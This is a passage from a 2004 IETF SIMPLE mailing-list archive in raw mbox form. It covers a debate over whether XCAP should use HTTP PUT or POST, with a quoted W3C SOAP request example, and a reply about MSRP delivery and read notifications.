Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by bdsl.greycouncil.com id i243vdOT004135
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] PUT vs POST in XCAP
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 21:56:42 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable


This became a heated discussion in today's XCON meeting.

I believe that the heart of the discussion around PUT vs POST hinges on=20
the following:

Is the operation:

1) Storage of a resource into a repository

or

2) Invocation of server-side logic on a parameter set being passed to=20
that logic.

Given that at least some of the CPCP logic has the server making a=20
transformation to the parameter set (adding the conference URI element),=20
I believe that we fall into case 2. Certainly it would be much easier to=20
build an XCAP implementation on Apache's HTTPD using a POST interface=20
than it would using a PUT interface.


For reference, it should be noted that both XML-RPC and SOAP use POST to=20
invoke server-side logic.

For example, see:

http://www.w3.org/TR/soap12-part0/#L26866

which says:

4.1.2 SOAP HTTP POST Usage
Using the HTTP binding with the SOAP Request-Response message exchange=20
pattern is restricted to the HTTP POST method. Note that the use of this=20
message exchange pattern in the SOAP HTTP binding is available to all=20
applications, whether they involve the exchange of general XML data or=20
RPCs (as in the following examples) encapsulated in SOAP messages.

Examples 9 and 10 show an example of a HTTP binding using the SOAP=20
Request-Response message exchange pattern, using the same scenario as=20
that for Example 4 and Example 5a, respectively, namely conveying an RPC=20
and its return in the body of a SOAP message. The examples and=20
discussion in this section only concentrate on the HTTP headers and=20
their role.

Example 9
POST /Reservations HTTP/1.1
Host: travelcompany.example.org
Content-Type: application/soap+xml; charset=3D"utf-8"
Content-Length: nnnn

<?xml version=3D'1.0' ?>
<env:Envelope xmlns:env=3D"http://www.w3.org/2003/05/soap-envelope" >
  <env:Header>
    <t:transaction
            xmlns:t=3D"http://thirdparty.example.org/transaction"
            env:encodingStyle=3D"http://example.com/encoding"
            env:mustUnderstand=3D"true" >5</t:transaction>
  </env:Header>
  <env:Body>
   <m:chargeReservation
      env:encodingStyle=3D"http://www.w3.org/2003/05/soap-encoding"
           xmlns:m=3D"http://travelcompany.example.org/">
    <m:reservation xmlns:m=3D"http://travelcompany.example.org/reservatio=
n">
     <m:code>FT35ZBQ</m:code>
    </m:reservation>
     <o:creditCard xmlns:o=3D"http://mycompany.example.com/financial">
      <n:name xmlns:n=3D"http://mycompany.example.com/employees">
            =C5ke J=F3gvan =D8yvind
      </n:name>
      <o:number>123456789099999</o:number>
      <o:expiration>2005-02</o:expiration>
     </o:creditCard>
    </m:chargeReservation>
   </env:Body>
</env:Envelope>RPC in Example 4 carried in an HTTP POST Request

This usage smells a whole lot like XCAP's to me.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 23:02:39 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA23721
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 23:02:39 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayk3o-0001Bs-Qm
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 23:02:12 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2442CPW004576
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 23:02:12 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayk3o-0001Bj-My
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 23:02:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA23709
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 23:02:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayk3l-0005no-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 23:02:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayk2o-0005dG-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 23:01:11 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayk1q-0005TW-00; Wed, 03 Mar 2004 23:00:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayk1j-0000lv-GM; Wed, 03 Mar 2004 23:00:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayk0m-0000ba-1V
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 22:59:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA23579
	for <simple@ietf.org>; Wed, 3 Mar 2004 22:59:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayk0i-0005K4-00
	for simple@ietf.org; Wed, 03 Mar 2004 22:59:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayjzn-0005Bb-00
	for simple@ietf.org; Wed, 03 Mar 2004 22:58:03 -0500
Received: from bdsl.66.12.12.130.gte.net ([66.12.12.130] helo=bdsl.greycouncil.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyjzB-0004tO-00
	for simple@ietf.org; Wed, 03 Mar 2004 22:57:25 -0500
Received: from softarmor.com (tx-dwillis.wireless.ietf59.or.kr [218.37.227.108])
	(authenticated bits=0)
	by bdsl.greycouncil.com (8.12.8/8.12.8) with ESMTP id i243vdOT004135
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <simple@ietf.org>; Wed, 3 Mar 2004 21:57:42 -0600
Message-ID: <4046A8FA.5000008@softarmor.com>
From: Dean Willis <dean.willis@softarmor.com>
User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by bdsl.greycouncil.com id i243vdOT004135
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] PUT vs POST in XCAP
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 21:56:42 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable


This became a heated discussion in today's XCON meeting.

I believe that the heart of the discussion around PUT vs POST hinges on=20
the following:

Is the operation:

1) Storage of a resource into a repository

or

2) Invocation of server-side logic on a parameter set being passed to=20
that logic.

Given that at least some of the CPCP logic has the server making a=20
transformation to the parameter set (adding the conference URI element),=20
I believe that we fall into case 2. Certainly it would be much easier to=20
build an XCAP implementation on Apache's HTTPD using a POST interface=20
than it would using a PUT interface.


For reference, it should be noted that both XML-RPC and SOAP use POST to=20
invoke server-side logic.

For example, see:

http://www.w3.org/TR/soap12-part0/#L26866

which says:

4.1.2 SOAP HTTP POST Usage
Using the HTTP binding with the SOAP Request-Response message exchange=20
pattern is restricted to the HTTP POST method. Note that the use of this=20
message exchange pattern in the SOAP HTTP binding is available to all=20
applications, whether they involve the exchange of general XML data or=20
RPCs (as in the following examples) encapsulated in SOAP messages.

Examples 9 and 10 show an example of a HTTP binding using the SOAP=20
Request-Response message exchange pattern, using the same scenario as=20
that for Example 4 and Example 5a, respectively, namely conveying an RPC=20
and its return in the body of a SOAP message. The examples and=20
discussion in this section only concentrate on the HTTP headers and=20
their role.

Example 9
POST /Reservations HTTP/1.1
Host: travelcompany.example.org
Content-Type: application/soap+xml; charset=3D"utf-8"
Content-Length: nnnn

<?xml version=3D'1.0' ?>
<env:Envelope xmlns:env=3D"http://www.w3.org/2003/05/soap-envelope" >
  <env:Header>
    <t:transaction
            xmlns:t=3D"http://thirdparty.example.org/transaction"
            env:encodingStyle=3D"http://example.com/encoding"
            env:mustUnderstand=3D"true" >5</t:transaction>
  </env:Header>
  <env:Body>
   <m:chargeReservation
      env:encodingStyle=3D"http://www.w3.org/2003/05/soap-encoding"
           xmlns:m=3D"http://travelcompany.example.org/">
    <m:reservation xmlns:m=3D"http://travelcompany.example.org/reservatio=
n">
     <m:code>FT35ZBQ</m:code>
    </m:reservation>
     <o:creditCard xmlns:o=3D"http://mycompany.example.com/financial">
      <n:name xmlns:n=3D"http://mycompany.example.com/employees">
            =C5ke J=F3gvan =D8yvind
      </n:name>
      <o:number>123456789099999</o:number>
      <o:expiration>2005-02</o:expiration>
     </o:creditCard>
    </m:chargeReservation>
   </env:Body>
</env:Envelope>RPC in Example 4 carried in an HTTP POST Request

This usage smells a whole lot like XCAP's to me.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar  4 00:33:38 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00268
	for <simple-archive@ietf.org>; Thu, 4 Mar 2004 00:33:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AylUJ-0000k1-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 00:33:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AylSz-0000QC-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 00:32:18 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AylRq-00006h-00; Thu, 04 Mar 2004 00:31:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AylRm-0003kO-DW; Thu, 04 Mar 2004 00:31:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AylRE-0003ix-6J
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 00:30:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA29900
	for <simple@ietf.org>; Thu, 4 Mar 2004 00:30:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AylRB-0007hk-00
	for simple@ietf.org; Thu, 04 Mar 2004 00:30:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AylQH-0007UX-00
	for simple@ietf.org; Thu, 04 Mar 2004 00:29:30 -0500
Received: from website12.com ([203.194.209.81])
	by ietf-mx with smtp (Exim 4.12)
	id 1AylPO-0007Gp-00
	for simple@ietf.org; Thu, 04 Mar 2004 00:28:35 -0500
Received: (qmail 9167 invoked by uid 513); 4 Mar 2004 05:30:49 -0000
Message-ID: <20040304053049.29527.qmail@website12.com>
Reply-To: "vikas" <vikas@arciis.com>
From: "vikas" <vikas@arciis.com>
To: "Vijay K. Gurbani" <vkg@lucent.com>, "" <simple@ietf.org>,
        "Rohan Mahy" <rohan@cisco.com>, "" <aki.niemi@nokia.com>,
        "" <hisham.khartabil@nokia.com>, "" <vkg@lucent.com>
Subject: Re: [Simple] return receipt and delivery status notification for MSRP
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_bcbe1249040fea73b5889a6e0df66c23f"
X-Mailer: WebMail 2.3
X-Originating-IP: 210.210.38.105
X-Originating-Email: vikas@arciis.com
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 05:30:49 +0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=HTML_MESSAGE autolearn=no 
	version=2.60

--_bcbe1249040fea73b5889a6e0df66c23f
Content-Type: text/plain;
	charset="iso-8859-1"
X-MIME-Autoconverted: from 8bit to quoted-printable by ietf.org id AAA29901
Content-Transfer-Encoding: quoted-printable

Hi,

Adding to what Vijay just mentioned, it would be annoying for the user to=
 get a notification everytime that the message has been read by the targe=
t.=20

Typically the number of messages exchanged in IM will be greater than tha=
t in email (if you would like to compare for read notification purpose).=20

To me - "no news is good news" sounds okay for delivery notifications.

Regards,
Vikas Tandon
Arciis Software Technologies
www.arciis.com




   -------Original Message-------
   > From: Vijay K. Gurbani <vkg@lucent.com>
   > Subject: Re: [Simple] return receipt and delivery status notificatio=
n for MSRP
   > Sent: 03 Mar 2004 16:36:43
   >
   >  hisham.khartabil@nokia.com wrote:
   > =20
   >  > Yes, in chunking, I think it is useful to get
   >  > delivery reports of chunks. Not for every chunk, but
   >  > for x number of them.
   > =20
   >  Receipt of X chunks is a protocol-level status notification.
   >  I am confused -- what kind of DSNs are we talking about?
   >  Protocol level or user level?
   > =20
   >  Opening a dialog box to the user and telling him or her
   >  that "The 9th chunk has been successfully delivered" will
   >  probably not impart too much information to the user.=A0=A0But
   >  opening a dialog box that says "Message could not be
   >  delivered -- receiver exceeds disk quota to store the message"
   >  is more meaningful to the sender.
   > =20
   >  User level DSNs may be influenced by presence (I agree with
   >  others who point out that presence is not a pre-requisite
   >  for guaranteed delivery) and by the type of IM session:
   >  page or session mode.
   > =20
   >  For page mode, Hisham wants to be notified not only
   >  when the IM was delivered but also when it was read.
   >  On the other hand, I want to be only notified if the
   >  message could not be delivered (i.e. I would consider
   >  an intermediary accepting the IM on behalf of an offline
   >  receiver as successful delivery but would like to know if
   >  the receiver has run out of disk space or no longer has
   >  a login in that domain).
   > =20
   >  - vijay
   > =20
   > =20
   >  _______________________________________________
   >  Simple mailing list
   >  Simple@ietf.org
   >  https://www1.ietf.org/mailman/listinfo/simple
   -------Original Message-------



--_bcbe1249040fea73b5889a6e0df66c23f
Content-Type: text/html;
	charset="iso-8859-1"
X-MIME-Autoconverted: from 8bit to quoted-printable by ietf.org id AAA29901
Content-Transfer-Encoding: quoted-printable

Hi,<br>
<br>
Adding to what Vijay just mentioned, it would be annoying for the user to=
 get a notification everytime that the message has been read by the targe=
t. <br>
<br>
Typically the number of messages exchanged in IM will be greater than tha=
t in email (if you would like to compare for read notification purpose). =
<br>
<br>
To me - &quot;no news is good news&quot; sounds okay for delivery notific=
ations.<br>
<br>
Regards,<br>
Vikas Tandon<br>
Arciis Software Technologies<br>
www.arciis.com<br>
<br>
<br>
<br>
<br>
   -------Original Message-------<br>
   &gt; From: Vijay K. Gurbani &lt;vkg@lucent.com&gt;<br>
   &gt; Subject: Re: [Simple] return receipt and delivery status notifica=
tion for MSRP<br>
   &gt; Sent: 03 Mar 2004 16:36:43<br>
   &gt;<br>
   &gt;  hisham.khartabil@nokia.com wrote:<br>
   &gt;  <br>
   &gt;  &gt; Yes, in chunking, I think it is useful to get<br>
   &gt;  &gt; delivery reports of chunks. Not for every chunk, but<br>
   &gt;  &gt; for x number of them.<br>
   &gt;  <br>
   &gt;  Receipt of X chunks is a protocol-level status notification.<br>
   &gt;  I am confused -- what kind of DSNs are we talking about?<br>
   &gt;  Protocol level or user level?<br>
   &gt;  <br>
   &gt;  Opening a dialog box to the user and telling him or her<br>
   &gt;  that &quot;The 9th chunk has been successfully delivered&quot; w=
ill<br>
   &gt;  probably not impart too much information to the user.=A0=A0But<b=
r>
   &gt;  opening a dialog box that says &quot;Message could not be<br>
   &gt;  delivered -- receiver exceeds disk quota to store the message&qu=
ot;<br>
   &gt;  is more meaningful to the sender.<br>
   &gt;  <br>
   &gt;  User level DSNs may be influenced by presence (I agree with<br>
   &gt;  others who point out that presence is not a pre-requisite<br>
   &gt;  for guaranteed delivery) and by the type of IM session:<br>
   &gt;  page or session mode.<br>
   &gt;  <br>
   &gt;  For page mode, Hisham wants to be notified not only<br>
   &gt;  when the IM was delivered but also when it was read.<br>
   &gt;  On the other hand, I want to be only notified if the<br>
   &gt;  message could not be delivered (i.e. I would consider<br>
   &gt;  an intermediary accepting the IM on behalf of an offline<br>
   &gt;  receiver as successful delivery but would like to know if<br>
   &gt;  the receiver has run out of disk space or no longer has<br>
   &gt;  a login in that domain).<br>
   &gt;  <br>
   &gt;  - vijay<br>
   &gt;  <br>
   &gt;  <br>
   &gt;  _______________________________________________<br>
   &gt;  Simple mailing list<br>
   &gt;  Simple@ietf.org<br>
   &gt;  https://www1.ietf.org/mailman/listinfo/simple<br>
   -------Original Message-------<br>
<br>
<br>


--_bcbe1249040fea73b5889a6e0df66c23f--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar  4 00:34:11 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00347
	for <simple-archive@odin.ietf.org>; Thu, 4 Mar 2004 00:34:10 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AylUN-0004I9-3p
	for simple-archive@odin.ietf.org; Thu, 04 Mar 2004 00:33:43 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i245Xhfc016496
	for simple-archive@odin.ietf.org; Thu, 4 Mar 2004 00:33:43 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AylUM-0004Hz-Vq
	for simple-web-archive@optimus.ietf.org; Thu, 04 Mar 2004 00:33:43 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00288
	for <simple-web-archive@ietf.org>; Thu, 4 Mar 2004 00:33:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AylUK-0000k7-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 00:33:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AylT0-0000QJ-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 00:32:20 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AylRq-00006h-00; Thu, 04 Mar 2004 00:31:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AylRm-0003kO-DW; Thu, 04 Mar 2004 00:31:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AylRE-0003ix-6J
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 00:30:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA29900
	for <simple@ietf.org>; Thu, 4 Mar 2004 00:30:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AylRB-0007hk-00
	for simple@ietf.org; Thu, 04 Mar 2004 00:30:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AylQH-0007UX-00
	for simple@ietf.org; Thu, 04 Mar 2004 00:29:30 -0500
Received: from website12.com ([203.194.209.81])
	by ietf-mx with smtp (Exim 4.12)
	id 1AylPO-0007Gp-00
	for simple@ietf.org; Thu, 04 Mar 2004 00:28:35 -0500
Received: (qmail 9167 invoked by uid 513); 4 Mar 2004 05:30:49 -0000
Message-ID: <20040304053049.29527.qmail@website12.com>
Reply-To: "vikas" <vikas@arciis.com>
From: "vikas" <vikas@arciis.com>
To: "Vijay K. Gurbani" <vkg@lucent.com>, "" <simple@ietf.org>,
        "Rohan Mahy" <rohan@cisco.com>, "" <aki.niemi@nokia.com>,
        "" <hisham.khartabil@nokia.com>, "" <vkg@lucent.com>
Subject: Re: [Simple] return receipt and delivery status notification for MSRP
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_bcbe1249040fea73b5889a6e0df66c23f"
X-Mailer: WebMail 2.3
X-Originating-IP: 210.210.38.105
X-Originating-Email: vikas@arciis.com
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 05:30:49 +0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=HTML_MESSAGE autolearn=no 
	version=2.60

--_bcbe1249040fea73b5889a6e0df66c23f
Content-Type: text/plain;
	charset="iso-8859-1"
X-MIME-Autoconverted: from 8bit to quoted-printable by ietf.org id AAA29901
Content-Transfer-Encoding: quoted-printable

Hi,

Adding to what Vijay just mentioned, it would be annoying for the user to=
 get a notification everytime that the message has been read by the targe=
t.=20

Typically the number of messages exchanged in IM will be greater than tha=
t in email (if you would like to compare for read notification purpose).=20

To me - "no news is good news" sounds okay for delivery notifications.

Regards,
Vikas Tandon
Arciis Software Technologies
www.arciis.com




   -------Original Message-------
   > From: Vijay K. Gurbani <vkg@lucent.com>
   > Subject: Re: [Simple] return receipt and delivery status notificatio=
n for MSRP
   > Sent: 03 Mar 2004 16:36:43
   >
   >  hisham.khartabil@nokia.com wrote:
   > =20
   >  > Yes, in chunking, I think it is useful to get
   >  > delivery reports of chunks. Not for every chunk, but
   >  > for x number of them.
   > =20
   >  Receipt of X chunks is a protocol-level status notification.
   >  I am confused -- what kind of DSNs are we talking about?
   >  Protocol level or user level?
   > =20
   >  Opening a dialog box to the user and telling him or her
   >  that "The 9th chunk has been successfully delivered" will
   >  probably not impart too much information to the user.=A0=A0But
   >  opening a dialog box that says "Message could not be
   >  delivered -- receiver exceeds disk quota to store the message"
   >  is more meaningful to the sender.
   > =20
   >  User level DSNs may be influenced by presence (I agree with
   >  others who point out that presence is not a pre-requisite
   >  for guaranteed delivery) and by the type of IM session:
   >  page or session mode.
   > =20
   >  For page mode, Hisham wants to be notified not only
   >  when the IM was delivered but also when it was read.
   >  On the other hand, I want to be only notified if the
   >  message could not be delivered (i.e. I would consider
   >  an intermediary accepting the IM on behalf of an offline
   >  receiver as successful delivery but would like to know if
   >  the receiver has run out of disk space or no longer has
   >  a login in that domain).
   > =20
   >  - vijay
   > =20
   > =20
   >  _______________________________________________
   >  Simple mailing list
   >  Simple@ietf.org
   >  https://www1.ietf.org/mailman/listinfo/simple
   -------Original Message-------



--_bcbe1249040fea73b5889a6e0df66c23f
Content-Type: text/html;
	charset="iso-8859-1"
X-MIME-Autoconverted: from 8bit to quoted-printable by ietf.org id AAA29901
Content-Transfer-Encoding: quoted-printable

Hi,<br>
<br>
Adding to what Vijay just mentioned, it would be annoying for the user to=
 get a notification everytime that the message has been read by the targe=
t. <br>
<br>
Typically the number of messages exchanged in IM will be greater than tha=
t in email (if you would like to compare for read notification purpose). =
<br>
<br>
To me - &quot;no news is good news&quot; sounds okay for delivery notific=
ations.<br>
<br>
Regards,<br>
Vikas Tandon<br>
Arciis Software Technologies<br>
www.arciis.com<br>
<br>
<br>
<br>
<br>
   -------Original Message-------<br>
   &gt; From: Vijay K. Gurbani &lt;vkg@lucent.com&gt;<br>
   &gt; Subject: Re: [Simple] return receipt and delivery status notifica=
tion for MSRP<br>
   &gt; Sent: 03 Mar 2004 16:36:43<br>
   &gt;<br>
   &gt;  hisham.khartabil@nokia.com wrote:<br>
   &gt;  <br>
   &gt;  &gt; Yes, in chunking, I think it is useful to get<br>
   &gt;  &gt; delivery reports of chunks. Not for every chunk, but<br>
   &gt;  &gt; for x number of them.<br>
   &gt;  <br>
   &gt;  Receipt of X chunks is a protocol-level status notification.<br>
   &gt;  I am confused -- what kind of DSNs are we talking about?<br>
   &gt;  Protocol level or user level?<br>
   &gt;  <br>
   &gt;  Opening a dialog box to the user and telling him or her<br>
   &gt;  that &quot;The 9th chunk has been successfully delivered&quot; w=
ill<br>
   &gt;  probably not impart too much information to the user.=A0=A0But<b=
r>
   &gt;  opening a dialog box that says &quot;Message could not be<br>
   &gt;  delivered -- receiver exceeds disk quota to store the message&qu=
ot;<br>
   &gt;  is more meaningful to the sender.<br>
   &gt;  <br>
   &gt;  User level DSNs may be influenced by presence (I agree with<br>
   &gt;  others who point out that presence is not a pre-requisite<br>
   &gt;  for guaranteed delivery) and by the type of IM session:<br>
   &gt;  page or session mode.<br>
   &gt;  <br>
   &gt;  For page mode, Hisham wants to be notified not only<br>
   &gt;  when the IM was delivered but also when it was read.<br>
   &gt;  On the other hand, I want to be only notified if the<br>
   &gt;  message could not be delivered (i.e. I would consider<br>
   &gt;  an intermediary accepting the IM on behalf of an offline<br>
   &gt;  receiver as successful delivery but would like to know if<br>
   &gt;  the receiver has run out of disk space or no longer has<br>
   &gt;  a login in that domain).<br>
   &gt;  <br>
   &gt;  - vijay<br>
   &gt;  <br>
   &gt;  <br>
   &gt;  _______________________________________________<br>
   &gt;  Simple mailing list<br>
   &gt;  Simple@ietf.org<br>
   &gt;  https://www1.ietf.org/mailman/listinfo/simple<br>
   -------Original Message-------<br>
<br>
<br>


--_bcbe1249040fea73b5889a6e0df66c23f--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar  4 01:09:12 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA03350
	for <simple-archive@ietf.org>; Thu, 4 Mar 2004 01:09:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aym2h-0000Ws-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 01:09:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Aym1l-0000IW-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 01:08:15 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aym0j-0007j7-00; Thu, 04 Mar 2004 01:07:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aym0c-00005a-G6; Thu, 04 Mar 2004 01:07:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aym0M-0008Ob-JT
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 01:06:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
